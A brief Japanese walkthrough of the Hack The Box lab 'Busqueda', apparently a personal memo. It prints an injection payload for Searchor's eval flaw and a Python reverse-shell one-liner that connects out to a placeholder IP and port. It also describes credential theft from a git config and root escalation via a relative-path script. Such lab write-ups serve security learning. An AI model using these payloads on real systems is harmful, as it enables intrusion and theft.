Hack the box - Busqueda
Hack the boxのBasquedaを完了したのでメモ。
難易度 | Writeupを |
---|---|
Easy | 見た |
1. nmapでrecon
2. Webサーバが動いているのでアクセス
- 様々なWebサービスでキーワード検索をした場合のURLを表示してくれる
- ”Auto Redirect”にチェックをいれるとそのURLにそのまま飛べる
searchor 2.4.0
を使っているとわかる- eval関数によるRCEの脆弱性がヒットする
- Githubのコミット
- 試しに
test' + __import__('os').system('pwd'))#
を入れると通る
3. Exploitを実行
- ローカルにWebサーバを起動した状態で以下を検索ボックスに挿入
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<IPADDR>',<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
- リバースシェルを獲得して、
user.txt
奪取
4. svc
ユーザで探検
/var/www/app/.git/config
ファイルに、giteaのログイン情報が記載されている- ところでgiteaって何 → gitlabのように、gitサーバをオンプレで構築できるソフトウェアのこと
- どこに構築されているの →
/etc/hosts
を見ると同じマシン上に存在するみたい- 自分のKali Linuxの
/etc/hosts
にgitea.searcher.htb
を追記して、ブラウザでアクセス、cody
でログインできる administrator
というユーザがいる
- 自分のKali Linuxの
- 試しに
svc
ユーザでsudo -l
を実行して、codyのパスワードを入れてみると通る → リバースシェルからSSHに切り替えsudo -l
の結果から、root権限で動作できるコマンドがあることがわかる- でも
/opt/scripts/
配下はすべて読み取り専用
- でも
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
- 上記のコマンドで実行できる
docker
コマンドを実行して、dockerインスタンスのgitea
の認証情報を取得する
5. administratorでgiteaを探検
リポジトリ内に/opt/scripts/
のファイルと同じリポジトリがあるので、ソースを読む
full-checkup
のサブコマンドを叩いたときは./full-checkup.sh
を実行するようになっている…あれ、カレントディレクトリにあるfull-checkup.sh
を実行するようになっている?(なので先ほど試したfull-checkup
サブコマンドはうまく行かなかった
好きなディレクトリに/root/root.txt
を読むようなfull-checkup.sh
を作成して、full-checkup
のサブコマンドを実行すれば、root
権限奪取